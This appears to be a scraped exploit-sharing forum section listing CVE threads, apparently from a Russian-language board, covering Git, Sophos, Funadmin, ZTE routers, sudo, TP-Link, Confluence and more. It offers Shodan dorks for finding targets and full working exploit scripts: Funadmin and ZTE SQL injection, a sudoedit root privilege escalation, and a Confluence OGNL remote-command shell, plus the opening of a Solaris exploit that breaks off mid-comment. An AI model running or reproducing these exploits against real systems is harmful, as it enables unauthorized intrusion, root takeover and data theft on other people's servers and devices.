Git is a revision control system. Prior to versions 2.30.9, 2.31.8, 2.32.7, 2.33.8, 2.34.8, 2.35.8, 2.36.6, 2.37.7, 2.38.5, 2.39.3, and 2.40.1, a specially crafted .gitmodules file with submodule URLs that are longer than 1024 characters can used to exploit a bug in config.c::git_config_copy_or_rename_section_in_file(). This bug can be used to inject arbitrary configuration into a user's $GIT_DIR/config when attempting to remove the configuration section associated with that submodule. When the attacker injects configuration values which specify executables to run (such as core.pager, core.editor, core.sshCommand, etc.) this can lead to a remote code execution. A fix A fix is available in versions 2.30.9, 2.31.8, 2.32.7, 2.33.8, 2.34.8, 2.35.8, 2.36.6, 2.37.7, 2.38.5, 2.39.3, and 2.40.1. As a workaround, avoid running git submodule deinit on untrusted repositories or without prior inspection of any submodule sections in $GIT_DIR/config.

CVE-2023-1671
ID: 67686ba3b4103b69df379bdb
Thread ID: 86756
Created: 2023-04-27T05:19:50+0000
Last Post: 2023-04-27T05:19:50+0000
Author: Zodiac
Prefix: Remote
Replies: 0 Views: 1K

Dork

- ZoomEye
title:"Sophos Web Appliance"-title:"Sophos Web Appliance: Forbidden"-title:"Sophos Web Appliance: Bad Request"

- Shodan
title:"Sophos Web Appliance"

Use:
python CVE-2023-1671-POC.py -u http://www.example.com
python CVE-2023-1671-POC.py -u http://www.example.com -d xxxxxx.dnslog.cn

python CVE-2023-1671-POC.py -f urls.txt
python CVE-2023-1671-POC.py -f urls.txt -d xxxxxx.dnslog.cn

code - https://github.com/W01fh4cker/CVE-2023-1671-POC

Sandbox Escape in vm2@3.9.15
ID: 67686ba3b4103b69df379bdc
Thread ID: 86755
Created: 2023-04-27T05:14:53+0000
Last Post: 2023-04-27T05:14:53+0000
Author: Zodiac
Prefix: Local
Replies: 0 Views: 1K

Простите меня, если это неправильный раздел

vuln in source code transformer (exception sanitization logic) of vm2 version up to 3.9.15. Remote Code Execution, assuming the attacker has arbitrary code execution primitive inside the context of vm2 sandbox.

https://gist.github.com/leesh3288/f05730165799bf56d70391f3d9ea187c

SQL injection vulnerability Funadmin
ID: 67686ba3b4103b69df379bdd
Thread ID: 86711
Created: 2023-04-26T10:49:06+0000
Last Post: 2023-04-26T10:49:06+0000
Author: Wolverine
Prefix: Web
Replies: 0 Views: 1K

CVE-2023-24780 & CVE-2023-24775​

Funadmin v3.2.0 was discovered to contain a SQL injection vulnerability
PoC : https://github.com/csffs/CVE-2023-24775-and-CVE-2023-24780
Details: https://github.com/funadmin/funadmin/issues/9 https://github.com/funadmin/funadmin/issues/6
Affected Products : Funadmin v3.2.0

Python:Copy to clipboard

import requests
import sys
import urllib.parse
import uuid



'''Генирация X-CSRF-TOKEN'''

csrf_token =uuid.uuid4()
csrf_token =str(csrf_token)
csrf_token = csrf_token.replace('-', '')



'''Добавление общих для двух сплоиитов заголовков'''
headers = {}
headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36"
headers["Accept"] = "application/json, text/javascript, */*"
headers["Accept-Language"]= "zh-CN,zh"
headers["X-Requested-With"] = "XMLHttpRequest"
headers["X-CSRF-TOKEN"] = csrf_token



'''Сплоит для CVE-2023-24775'''
def poc_CVE_2023_24775(url):
    
    
    
    headers["Host"] = url
    headers["Content-Type"] = "application/x-www-form-urlencoded"
    headers["charset"] = "UTF-8"
    headers["Accept-Encoding"]= "gzip"
    
    
    url=str(url)
    url=url+"/backend/member.memberLevel/index?parentField=pid&"
    
    
    '''Добавление куки файлов - внимание если эти куки вам не подхдоят можете заменить на ваши сессионные куки '''
    cookies={'Hm_lvt_ce074243117e698438c49cd037b593eb':'1673498041','PHPSESSID':'591a908579ac738f0fc0f53d05c6aa51', 'think_lang':'zh-cn', 'Hm_lvt_8dcaf664827c0e8ae52287ebb2411aed':'1674888420', 'Hm_lpvt_8dcaf664827c0e8ae52287ebb2411aed':'1674888420', 'auth_account':'YToxOntzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI3OiJleUowZVhBaU9pSktWMVFpTENKaGJHY2lPaUpJVXpJMU5pSjkuZXlKdFpXMWlaWEpmYVdRaU9qRTFORGdzSW1Gd2NHbGtJam9pSWl3aVlYQndjMlZqY21WMElqb2lJaXdpYVhOeklqb2lhSFIwY0hNNkx5OTNkM2N1Wm5WdVlXUnRhVzR1WTI5dElpd2lZWFZrSWpvaWFIUjBjSE02THk5M2QzY3VablZ1WVdSdGFXNHVZMjl0SWl3aWMyTnZjR1Z6SWpvaWNtOXNaVjloWTJObGMzTWlMQ0pwWVhRaU9qRTJOelE0T0RrMU1EQXNJbTVpWmlJNk1UWTNORGc0T1RVd01Dd2laWGh3SWpveE5qYzFOVGd3TnpBd2ZRLkJITHd5WU5nNkpVVUZmMFFucGM0aHk2YlZ1c1V6WkVqR3N2SElva0pxYU0iO30%3D', 'clound_account':'YTo0OntzOjI6ImlkIjtpOjE1NDg7czo4OiJ1c2VybmFtZSI7czoxMDoibXlmdW5hZG1pbiI7czo4OiJuaWNrbmFtZSI7czowOiIiO3M6NjoiYXZhdGFyIjtzOjM2OiIvc3RhdGljL2Zyb250ZW5kL2ltYWdlcy9hdmF0YXIvNi5qcGciO30%3D' }

    
    ''' Ввод sqli если вы не ввели ничего то ввод стандартной иньекции'''
    sqli= str(input("input selectFields[name]=name&selectFields[value]=your select sqli"))
    
    
    if(len(sqli)!=0):
        
        sqli = urllib.parse.quote_plus(sqli)
        url=url+sqli
        
    else:
        url=url+"selectFields%5Bname%5D=name&selectFields%5Bvalue%5D=extractvalue%281%2Cconcat%28char%28126%29%2Cuser()%29%29"
    
    
    print(url)
    
    
    '''Запрос на инькцию и вывод ответа'''
    sqli_request= requests.get(url, cookies=cookies, headers=headers)
    
    print(sqli_request.text)
    
    
    '''Проверка есть в тексте ответа sqli_request "message", если есть то скорее всего сплоит работает: https://github.com/funadmin/funadmin/issues/9'''
    if('message' in sqli_request.text):
    
        print('**POC CVE-2023-24775 sqli works** :)')
    else:
    
        print('**POC CVE-2023-24775 sqli not works** :(')       



'''Сплоит для CVE-2023-24780'''
def poc_CVE_2023_24774(url):


    
    headers["Host"] = url
    headers["Origin"] = url
    headers["Accept-Encoding"] = "gzip, deflate"
    
    
    url=str(url)
    url=url+"/databases/table/columns?id='"   
    
    
    '''Добавление куки файлов - внимание если эти куки вам не подхдоят, можете заменить на ваши сессионные куки '''
    cookies={'Hm_lvt_ce074243117e698438c49cd037b593eb':'1673498041', 'ci_session':'ca40t5m9pvlvp7gftr11qng0g0lofceq', 'PHPSESSID':'591a908579ac738f0fc0f53d05c6aa51', 'think_lang':'zh-cn', 'Hm_lvt_8dcaf664827c0e8ae52287ebb2411aed':'1674888420', 'Hm_lpvt_8dcaf664827c0e8ae52287ebb2411aed':'1674888420', 'auth_account':'YToxOntzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI3OiJleUowZVhBaU9pSktWMVFpTENKaGJHY2lPaUpJVXpJMU5pSjkuZXlKdFpXMWlaWEpmYVdRaU9qRTFORGdzSW1Gd2NHbGtJam9pSWl3aVlYQndjMlZqY21WMElqb2lJaXdpYVhOeklqb2lhSFIwY0hNNkx5OTNkM2N1Wm5WdVlXUnRhVzR1WTI5dElpd2lZWFZrSWpvaWFIUjBjSE02THk5M2QzY3VablZ1WVdSdGFXNHVZMjl0SWl3aWMyTnZjR1Z6SWpvaWNtOXNaVjloWTJObGMzTWlMQ0pwWVhRaU9qRTJOelE0T0RrMU1EQXNJbTVpWmlJNk1UWTNORGc0T1RVd01Dd2laWGh3SWpveE5qYzFOVGd3TnpBd2ZRLkJITHd5WU5nNkpVVUZmMFFucGM0aHk2YlZ1c1V6WkVqR3N2SElva0pxYU0iO30%3D', 'clound_account':'YTo0OntzOjI6ImlkIjtpOjE1NDg7czo4OiJ1c2VybmFtZSI7czoxMDoibXlmdW5hZG1pbiI7czo4OiJuaWNrbmFtZSI7czowOiIiO3M6NjoiYXZhdGFyIjtzOjM2OiIvc3RhdGljL2Zyb250ZW5kL2ltYWdlcy9hdmF0YXIvNi5qcGciO30%3D'}
    
    
    
    ''' Ввод sqli, если вы не ввели ничего то ввод стандартной иньекции'''
    sqli= str(input("input sqli:"))
    
    
    if(len(sqli)!=0):
    
        sqli = sqli.replace(' ', '+')
        url=url+sqli+"--+qRTY"
    
    else:
        url=url+"+AND+GTID_SUBSET(CONCAT(0x12,(SELECT+(ELT(6415=6415,1))),user()),6415)--+qRTY"
    
    print(url)
    
    
    '''Запрос на инькцию и вывод ответа'''
    sqli_request= requests.get(url, cookies=cookies, headers=headers)
    
    print(sqli_request.text)
    
    
    
    '''Проверка есть в тексте ответа sqli_request "message", если есть то скорее всего сплоит работает: https://github.com/funadmin/funadmin/issues/6'''
    if('message' in sqli_request.text):
    
        print('**POC CVE-2023-24774 sqli works** :)')
    else:
    
        print('**POC CVE-2023-24774 sqli not works** :(')       


    
if __name__ == "__main__":


    args = ['-h','-u']
    
    if args[0] in sys.argv:
        print("-h= help, -u=url; python sql.py -u https://site.com")
        
        
    if args[1] in sys.argv:
    
        
        url=sys.argv[2]
        
        which_cve=int(input("which cve test,CVE-2023-24775 or CVE-2023-24780? if CVE-2023-24780 enter 1, if CVE-2023-24775 enter 2:"))
        
        
        if(which_cve==1):
        
            poc_CVE_2023_24775(url)
        
        if(which_cve==2):
        
            poc_CVE_2023_24774(url)
SQL Injection Vulnerability in ZTE MF286R
ID: 67686ba3b4103b69df379bde
Thread ID: 86710
Created: 2023-04-26T10:43:22+0000
Last Post: 2023-04-26T10:43:22+0000
Author: Wolverine
Prefix: Web
Replies: 0 Views: 1K

**CVE-2022-39066
Proof of concept of the SQL injection vulnerability affecting the ZTE MF286R router
POC: **

github.com

[ GitHub - v0lp3/CVE-2022-39066: Proof of concept of the SQL injection

vulnerability affecting the ZTE MF286R router. ](https://github.com/v0lp3/CVE-2022-39066)

Proof of concept of the SQL injection vulnerability affecting the ZTE MF286R router. - v0lp3/CVE-2022-39066

github.com github.com

Details:https://support.zte.com.cn/support/news/LoopholeInfoDetail.aspx?newsId=1027744

Python:Copy to clipboard

import time
import requests
import hashlib
import sys
import base64

wa_inner_version = "BD_POSTEMF286RMODULEV1.0.0B12"
cr_version = "CR_ITPOSTEMF286RV1.0.0B10"

FORM = lambda x: {"isTest": False, "goformId": x}

s = requests.Session()


def login():
    data = FORM("LOGIN")
    data["password"] = PASSWD

    status = s.post(
        f"{HOST}/goform/goform_set_cmd_process",
        headers=HDRS,
        data=data,
    ).json()

    login_status = "[+] Login: "
    login_status += "success" if status["result"] == "0" else "fail"

    print(login_status)


def get_AD():
    def md5(s):
        m = hashlib.md5()
        m.update(s.encode("utf-8"))
        return m.hexdigest()

    a = md5(wa_inner_version + cr_version)

    rd = requests.get(
        f"{HOST}/goform/goform_get_cmd_process?isTest=false&cmd=RD&_={int(time.time())}",
        headers=HDRS,
    )

    return md5(a + rd.json()["RD"])


def get_response(server_resp):
    status = "[+] payload injected: "

    if "success" in server_resp.text:
        status += "success"

    else:
        status += "fail"

    print(status)


def sqli():

    target = "/var/log/webshow_messages"

    hostname_form = FORM("PHONE_BLOCK_ADD")

    hostname_form["block_number"] = "testestesttest"
    hostname_form[
        "block_comment"
    ] = f"test'); ATTACH DATABASE '{target}' AS t; CREATE TABLE t.pwn (dataz text);INSERT INTO t.pwn (dataz) VALUES ('testestesttest');--"

    hostname_form["AD"] = get_AD()

    a = s.post(
        f"{HOST}/goform/goform_set_cmd_process",
        headers=HDRS,
        data=hostname_form,
    )

    get_response(a)


def get_log():

    logs = s.get(f"{HOST}/cgi-bin/ExportSyslog.sh", headers=HDRS)

    if len(logs.text) > 0:
        print(logs.text)

        print("[+] Logs written into last-log.txt")

        with open("last-log.txt", "w") as logf:
            logf.write(logs.text)


if __name__ == "__main__":

    if len(sys.argv) < 3:
        print("usage: python3 run.py http://<router_ip> <admin_password>")
        sys.exit(0)

    HOST = sys.argv[1]

    HDRS = {
        "User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
        "Origin": HOST,
        "Referer": f"{HOST}/index.html",
    }

    PASSWD = base64.b64encode(sys.argv[2].encode()).decode()

    login()

    sqli()
    get_log()
CVE-2023-27524
ID: 67686ba3b4103b69df379bdf
Thread ID: 86705
Created: 2023-04-26T09:31:45+0000
Last Post: 2023-04-26T09:31:45+0000
Author: Zodiac
Prefix: Remote
Replies: 0 Views: 1K

CVE-2023-27524: Apache Superset Auth Bypass​

Script to check if an Apache Superset server is running with an insecure default configuration (CVE-2023-27524). The script checks if a Superset server's session cookies are signed with any well-known default Flask SECRET_KEYs.

URL : https://github.com/horizon3ai/CVE-2023-27524

More details here: [https://www.horizon3.ai/cve-2023-27524-insecure-default- configuration-in-apache- superset](https://www.horizon3.ai/cve-2023-27524-insecure-default- configuration-in-apache-superset-leads-to-remote-code-execution/)

Priv Esc | GodPotato |
ID: 67686ba3b4103b69df379be2
Thread ID: 85851
Created: 2023-04-13T17:46:55+0000
Last Post: 2023-04-13T17:46:55+0000
Author: Zodiac
Prefix: Local
Replies: 0 Views: 1K

God Potato это priv esc для Windows Server 2012 Windows Server 2022, Windows 8 — Windows 11.

download https://github.com/BeichenDream/GodPotato

я нашел это на github, скажите свое мнение об этом

sudo 1.8.0 to 1.9.12p1 - Privilege Escalation Exploit
ID: 67686ba3b4103b69df379be6
Thread ID: 85215
Created: 2023-04-04T19:08:05+0000
Last Post: 2023-04-06T07:51:45+0000
Author: DarckSol
Prefix: Local
Replies: 4 Views: 1K

#!/usr/bin/env bash

Exploit Title: sudo 1.8.0 to 1.9.12p1 - Privilege Escalation

Exploit Author: n3m1.sys

CVE: CVE-2023-22809

Date: 2023/01/21

Vendor Homepage: https://www.sudo.ws/

Software Link: https://www.sudo.ws/dist/sudo-1.9.12p1.tar.gz

Version: 1.8.0 to 1.9.12p1

Tested on: Ubuntu Server 22.04 - vim 8.2.4919 - sudo 1.9.9

Git repository: <https://github.com/n3m1dotsys/CVE-2023-22809-sudoedit-

privesc>

Running this exploit on a vulnerable system allows a localiattacker to

gain

a root shell on the machine.

The exploit checks if the current user has privileges to run sudoedit or

sudo -e on a file as root. If so it will open the sudoers file for the

attacker to add a line to gain privileges on all the files and get a root

shell.

Click to expand...

Code:Copy to clipboard

if ! sudo --version | head -1 | grep -qE '(1\.8.*|1\.9\.[0-9]1?(p[1-3])?|1\.9\.12p1)$'
then
    echo "> Currently installed sudo version is not vulnerable"
    exit 1
fi
 
EXPLOITABLE=$(sudo -l | grep -E "sudoedit|sudo -e" | grep -E '\(root\)|\(ALL\)|\(ALL : ALL\)' | cut -d ')' -f 2-)
 
if [ -z "$EXPLOITABLE" ]; then
    echo "> It doesn't seem that this user can run sudoedit as root"
    read -p "Do you want to proceed anyway? (y/N): " confirm && [[ $confirm == [yY] ]] || exit 2
else
    echo "> BINGO! User exploitable"
    echo "> Opening sudoers file, please add the following line to the file in order to do the privesc:"
    echo "$( whoami ) ALL=(ALL:ALL) ALL"
    read -n 1 -s -r -p "Press any key to continue..."
    EDITOR="vim -- /etc/sudoers" $EXPLOITABLE
    sudo su root
    exit 0
fi
CVE-2023-28760 exploit. TP-Link AX1800 RCE
ID: 67686ba3b4103b69df379be9
Thread ID: 84438
Created: 2023-03-24T17:59:37+0000
Last Post: 2023-03-28T15:49:27+0000
Author: Gufi
Replies: 2 Views: 1K

В маршрутизаторе TP-Link AX1800 WiFi 6 Archer AX20(EU) обнаружена уязвимость, которая позволяет удаленным злоумышленникам выполнять вредоносный код на устройстве. Уязвимость существует в файле базы данных «.TPDLNA/files.db», который создается на USB-устройстве, когда общий доступ к мультимедиа включается на маршрутизаторе. По умолчанию Samba для Windows и локальный FTP включены, а общий доступ к мультимедиа включен на устройстве, что означает, что службы MiniDLNA, ProFTPd и Samba будут запускаться автоматически для общей папки USB.

Уязвимость была обнаружена в версии 1.1.2 сервиса MiniDLNA в прошивке версии 2.1.6 Build 20220128 rel.15823(4555) маршрутизатора Archer AX20. Злоумышленник, имеющий доступ к медиасерверу маршрутизатора через Samba или FTP, может воспользоваться этой уязвимостью, выполнив SQL-запрос к таблице сведений в файле базы данных «.TPDLNA/files.db» и в результате предоставив данные, контролируемые злоумышленником. Если тип MIME соответствует определенным критериям, данные копируются в буфер фиксированного размера в стеке, что может привести к переполнению буфера стека и позволить злоумышленнику получить удаленное выполнение кода. Эта уязвимость была исправлена в версии прошивки Archer AX20(EU)_V3_1.1.4 Build 20230219. Не исключено, что эта уязвимость может существовать и в более поздних версиях сервиса MiniDLNA.

Уязвимость в маршрутизаторе TP-Link AX1800 WiFi 6 Archer AX20(EU) может позволить злоумышленнику выполнить произвольный код на устройстве, что может привести к несанкционированному доступу и управлению маршрутизатором. Это может представлять значительный риск для пользователей, поскольку злоумышленник может использовать эту уязвимость для выполнения вредоносных действий на устройстве или для получения доступа к конфиденциальной информации.
Источник: https://www.tecsecurity.io/blog/tp-link_ax1800
Exploit: Скачать

CVE-2023-1034 Path Traversal in salesagility/suitecrm
ID: 67686ba3b4103b69df379bee
Thread ID: 83311
Created: 2023-03-06T18:35:36+0000
Last Post: 2023-03-06T18:35:36+0000
Author: Wolverine
Prefix: Remote
Replies: 0 Views: 1K

Limited LFI via Path Traversal in salesagility/suitecrm​

PoC : https://huntr.dev/bounties/0c1365bc-8d9a-4ae0-8b55-615d492b3730/
Details: https://huntr.dev/bounties/0c1365bc-8d9a-4ae0-8b55-615d492b3730/
**Affected Products : >**SuiteCRM 7.12.8

Требуется пользователь с разрешениями по умолчанию - PoC требует, чтобы пользователь создал «Call»
В сочетании с любой загрузкой файлов (например, FTP) это может превратиться в RCE. В месте, доступном веб-серверу

CVE-2023-21839 Oracle WebLogic RCE PoC
ID: 67686ba3b4103b69df379bef
Thread ID: 83304
Created: 2023-03-06T17:17:22+0000
Last Post: 2023-03-06T17:17:22+0000
Author: Wolverine
Prefix: Remote
Replies: 0 Views: 1K

Oracle WebLogic Server RCE PoC
PoC
: https://github.com/4ra1n/CVE-2023-21839
Details:
https://www.oracle.com/security-alerts/cpujan2023.html
<https://www.pingsafe.com/blog/cve-2023-21839-oracle-weblogic-server-core- patch-advisory>
Affected Products : 12.2.1.3.0, 12.2.1.4.0 и 14.1.1.0.0.

CVE-2022-44666 - Microsoft Windows Contacts
ID: 67686ba3b4103b69df379bf1
Thread ID: 82414
Created: 2023-02-21T00:48:29+0000
Last Post: 2023-02-21T10:40:18+0000
Author: pablo
Prefix: Remote
Replies: 1 Views: 1K

Microsoft Windows Contacts (VCF/Contact/LDAP) syslink control href attribute escape vulnerability (CVE-2022-44666) (0day)

github.com

[ GitHub - j00sean/CVE-2022-44666: Write-up for another forgotten Windows

vulnerability (0day): Microsoft Windows Contacts (VCF/Contact/LDAP) syslink control href attribute escape, which was not fully fixed as CVE-2022-44666 in the patches released on ](https://github.com/j00sean/CVE-2022-44666)

Write-up for another forgotten Windows vulnerability (0day): Microsoft Windows Contacts (VCF/Contact/LDAP) syslink control href attribute escape, which was not fully fixed as CVE-2022-44666 in the ...

github.com github.com

  • Vendor : Microsoft.
  • App : Microsoft Windows Contacts.
  • Version : 10.0.19044.1826.
  • Tested systems : Windows 10 & Windows 11.
  • Tested system versions : Microsoft Windows [Version 10.0.19044.1826] & Microsoft Windows [Version 10.0.22000.795]
CVE-2022-21587 - Oracle E-Business Suite (EBS)
ID: 67686ba3b4103b69df379bf2
Thread ID: 82440
Created: 2023-02-21T10:11:34+0000
Last Post: 2023-02-21T10:11:34+0000
Author: propensity
Prefix: Remote
Replies: 0 Views: 1K

Описание

CVE-2022-21587 может привести к неавторизованному удаленному выполнению кода. 16 января 2023 года компания Viettel Security опубликовала анализ этой проблемы, подробно описав первопричину и метод использования уязвимости для получения возможности выполнения кода через полезную нагрузку Perl. Эксплойт, основанный на методе анализа Viettel Security, был опубликован на GitHub "HMs" 6 февраля 2023 года. Oracle приписала "l1k3beef" в качестве первооткрывателя уязвимости.

Анализ показал, что во время эксплуатации также возможно использование полезной нагрузки на основе Java Server Page (JSP) для RCE.

Click to expand...

POC

github.com

[ GitHub - hieuminhnv/CVE-2022-21587-POC: CVE-2022-21587 POC

](https://github.com/hieuminhnv/CVE-2022-21587-POC)

CVE-2022-21587 POC . Contribute to hieuminhnv/CVE-2022-21587-POC development by creating an account on GitHub.

github.com github.com

Click to expand...

CVE-2022-26134 Confluence Pre-Auth RCE via OGNL Injection
ID: 67686ba3b4103b69df379bf3
Thread ID: 82230
Created: 2023-02-18T08:29:20+0000
Last Post: 2023-02-18T08:29:20+0000
Author: propensity
Prefix: Remote
Replies: 0 Views: 1K

Описание

Confluence is a web-based corporate wiki developed by Australian software company Atlassian.

On June 02, 2022 Atlassian released a security advisory for their Confluence Server and Data Center applications, highlighting a critical severity unauthenticated remote code execution vulnerability. The OGNL injection vulnerability allows an unauthenticated user to execute arbitrary code on a Confluence Server or Data Center instance.

Click to expand...

![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2F524fc75a693dcf5bf033b965d316eb8745ea059a6740af67bd2e1cacf51f2d1e%2Fwhokilleddb%2FCVE-2022-26134-Confluence- RCE&hash=218bf95f19bf57b270f1cf020dd003cb&return_error=1)

[ GitHub - whokilleddb/CVE-2022-26134-Confluence-RCE: Exploit for

CVE-2022-26134: Confluence Pre-Auth Remote Code Execution via OGNL Injection ](https://github.com/whokilleddb/CVE-2022-26134-Confluence-RCE)

Exploit for CVE-2022-26134: Confluence Pre-Auth Remote Code Execution via OGNL Injection - GitHub - whokilleddb/CVE-2022-26134-Confluence-RCE: Exploit for CVE-2022-26134: Confluence Pre-Auth Rem...

github.com github.com

Click to expand...

start_confluence.sh

Bash:Copy to clipboard

#!/bin/bash

# Specify Color Schemes
NONE='\033[00m'
RED='\033[01;31m'
GREEN='\033[01;32m'
YELLOW='\033[01;33m'
BLUE='\033[01;34m'
MAGENTA='\033[01;35m'
CYAN='\033[01;36m'
WHITE='\033[01;37m'
BOLD='\033[1m'
BLINK='\033[5m'
UNDERLINE='\033[4m'

# Globals
CONTAINER_ID=""
CONTAINER_IP=""

init(){
    # Set up environment before starting containers
    echo -e $BOLD$MAGENTA[+] Setting Up Environment $NONE

    #Check if program is being run as root
    if [[ $EUID -ne 0 ]]; then
        echo -e $BOLD$RED[!] This script must be run as ROOT!$NONE 1>&2
        exit -1
    fi

    # Start Docker
    echo -e "$BOLD$CYAN[i] Starting Docker"
    systemctl start docker
    if [ $? -eq 0 ]; then
        echo -e $BOLD$GREEN[+] Successfully Started Docker$NONE
    else
        echo -e $BOLD$RED[!] Failed to start Docker$NONE
        exit -2
    fi
}

fetch_compose(){
    echo -e $BOLD$YELLOW[i] Setup Guide: https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2022-26134$NONE
    echo -e $BOLD$CYAN[i] Fetching Docker Compose$BLUE
    rm -rf docker-compose.yml
    wget https://raw.githubusercontent.com/vulhub/vulhub/master/confluence/CVE-2022-26134/docker-compose.yml
}

setup(){
    echo -e $BOLD$MAGENTA[i] Stopping Containers If Any$NONE
    DOCKER_BUILDKIT=1 docker-compose down -v
    echo -e $BLUE$BLUE[i] Building Images$NONE
    DOCKER_BUILDKIT=1 docker-compose build
    echo -e $BOLD$GREEN[+] Starting containers$NONE
    DOCKER_BUILDKIT=1 docker-compose up -d
}

setup_confluence(){
    CONTAINER_ID=$(docker ps | grep 'conflu' | cut -d ' ' -f1)
    docker exec -it $CONTAINER_ID sh -c "mkdir /home/confluence"
    docker exec -it $CONTAINER_ID sh -c "chown -R confluence:confluence /home/confluence"
    docker exec -it $CONTAINER_ID sh -c "apt update -y && apt install -y netcat"
}

main() {
    init
    fetch_compose
    setup
    setup_confluence

    echo -e $BOLD$GREEN[+] Done!$NONE
}

main

confluence-exploit.py

Python:Copy to clipboard

#!/usr/bin/env python3
import sys
import urllib3
import requests
import argparse
from requests.exceptions import InvalidSchema
from rich import print
from rich.prompt import Prompt
from urllib.parse import quote


# Disable SSL Warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Save options in a global dict
opt = dict()


def gen_payload(cmd: str):
    """Generate Payload for RCE"""

    payload = '${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("' + cmd + '").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}'
    payload = quote(payload)
    return payload


def check_args(cmd_args):
    """Check command line arguments for any sort of funny business"""

    # Start with checking the URL
    try:
        resp = requests.get(cmd_args.url, verify=False)
        if resp.ok:
            opt['url'] = cmd_args.url
        else:
            raise resp.raise_for_status()
    except requests.exceptions.RequestException as e:
        print(":x:", f"[bold][red]Exception occured as:[/bold][/red] {e}", file = sys.stderr)
        sys.exit(-1)

    #Just print the arguments after parsing
    print(":link:", f"[bold]URL:[/bold] {opt['url']}")


def run_cmd(cmd):
    payload = gen_payload(cmd)
    url = opt['url'] + '/' + payload + '/'
    try:
        resp = requests.get(url, timeout=5, verify=False, allow_redirects=False)
        if 'X-Cmd-Response' not in resp.headers:
            print(":x:", "Could not find the Response Headers", file = sys.stderr)
            return 0
        print(resp.headers['X-Cmd-Response'])
        return 1
    except requests.exceptions.RequestException:
        print(":x:", "Request failed :(", file = sys.stderr)
        return -1


def start_prompt():
    """Start An Interactive Prompt"""
    try:
        while True:
            cmd = Prompt.ask(":point_right:", default="id")
            if (cmd.lower() == "quit" or cmd.lower() == "exit"):
                sys.exit(0)
            run_cmd(cmd)
    except KeyboardInterrupt:
        print()
        print(":x:", "[bold][red]Exiting![/red][/bold]")
        sys.exit(0)


def main():
    """Main Function"""

    parser = argparse.ArgumentParser(description="[+] Confluence Pre-Auth Remote Code Execution via OGNL Injection Exploit")
    parser.add_argument('-u', '--url', required=True,
                        help = "Base URL")
    check_args(parser.parse_args())

    start_prompt()


if __name__ == '__main__':
    main()
admin jailbreak for Chromebook - Sh1mmer
ID: 67686ba3b4103b69df379bf6
Thread ID: 81048
Created: 2023-02-01T14:07:20+0000
Last Post: 2023-02-01T14:07:20+0000
Author: weaver
Prefix: Local
Replies: 0 Views: 1K

SH1MMER.me

sh1mmer.me sh1mmer.me

RCE, VMware vRealize Log Insight, CVE-2022-317\06\04\11
ID: 67686ba3b4103b69df379bf7
Thread ID: 81039
Created: 2023-02-01T11:20:37+0000
Last Post: 2023-02-01T12:21:07+0000
Author: weaver
Prefix: Remote
Replies: 1 Views: 1K

пок

github.com

[ GitHub - horizon3ai/vRealizeLogInsightRCE: POC for RCE using

vulnerabilities described in VMSA-2023-0001 ](https://github.com/horizon3ai/vRealizeLogInsightRCE)

POC for RCE using vulnerabilities described in VMSA-2023-0001 - horizon3ai/vRealizeLogInsightRCE

github.com github.com

детали

![www.horizon3.ai](/proxy.php?image=https%3A%2F%2Fp7i3u3x3.delivery.rocketcdn.me%2Fwp- content%2Fuploads%2F2023%2F01%2F1200x627-Red-Team-VMWare- VMSA-2023-0001-DeepDive.jpg&hash=d149186c3f9c980eb52e95f2f935118f&return_error=1)

[ VMware vRealize Log Insight VMSA-2023-0001 Technical Deep Dive

](https://www.horizon3.ai/vmware-vrealize-log-insight- vmsa-2023-0001-technical-deep-dive/)

Technical deep-dive and exploit POC for VMware vRealize Log Insight RCE as reported in VMSA-2023-0001. This series of vulnerabilities leads to remote code execution and full system compromise. CVE-2022-31704, CVE-2022-31706, and CVE-2022-31711.

![www.horizon3.ai](/proxy.php?image=https%3A%2F%2Fp7i3u3x3.delivery.rocketcdn.me%2Fwp- content%2Fuploads%2F2021%2F06%2Fcropped- favicon-32x32.png&hash=534cd79348db43a42be961c45e2a41ed&return_error=1) www.horizon3.ai

Windows CryptoAPI Spoofing, CVE-2022-34689
ID: 67686ba3b4103b69df379bf8
Thread ID: 80716
Created: 2023-01-26T23:33:58+0000
Last Post: 2023-01-26T23:33:58+0000
Author: weaver
Prefix: Remote
Replies: 0 Views: 1K

![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2F9476edb269a3b0d2cffe06765e7780b66b10c00f3cdc5a9fe149ab1d51a90acb%2Fakamai%2Fakamai- security-research&hash=d69d143de0211a8419f048a32b983521&return_error=1)

[ akamai-security-research/PoCs/CVE-2022-34689 at main · akamai/akamai-

security-research ](https://github.com/akamai/akamai-security- research/tree/main/PoCs/CVE-2022-34689)

This repository includes code and IoCs that are the product of research done in Akamai's various security research teams. - akamai-security- research/PoCs/CVE-2022-34689 at main · akamai/akamai-...

github.com github.com

Solaris 10 dtprintinfo Local Privilege Escalation
ID: 67686ba3b4103b69df379bfa
Thread ID: 80500
Created: 2023-01-23T07:46:53+0000
Last Post: 2023-01-23T07:49:33+0000
Author: DarckSol
Prefix: Local
Replies: 1 Views: 1K

Code:Copy to clipboard

/*
 * raptor_dtprintlibXmas.c - Solaris 10 CDE #ForeverDay LPE
 * Copyright (c) 2023 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * "What has been will be again,
 *  what has been done will be done again;
 *  there is nothing new under the Sun."
 *                     -- Ecclesiastes 1:9
 *
 * #Solaris #CDE #0day #ForeverDay #WontFix
 *
 * This exploit illustrates yet another way to abuse the infamous dtprintinfo
 * binary distributed with the Common Desktop Environment (CDE), a veritable
 * treasure trove for bug hunters since the 1990s. It's not the most reliable
 * exploit I've ever written, but I'm quite proud of the new vulnerabilities
 * I've unearthed in dtprintinfo with the latest Solaris patches (CPU January
 * 2021) applied. The exploit chain is structured as follows:
 * 1. Inject a fake printer via the printer injection bug I found in lpstat.
 * 2. Exploit the stack-based buffer overflow I found in libXm ParseColors().
 * 3. Enjoy root privileges!
 *
 * For additional details on my bug hunting journey and on the vulnerabilities
 * themselves, you can refer to the official advisory:
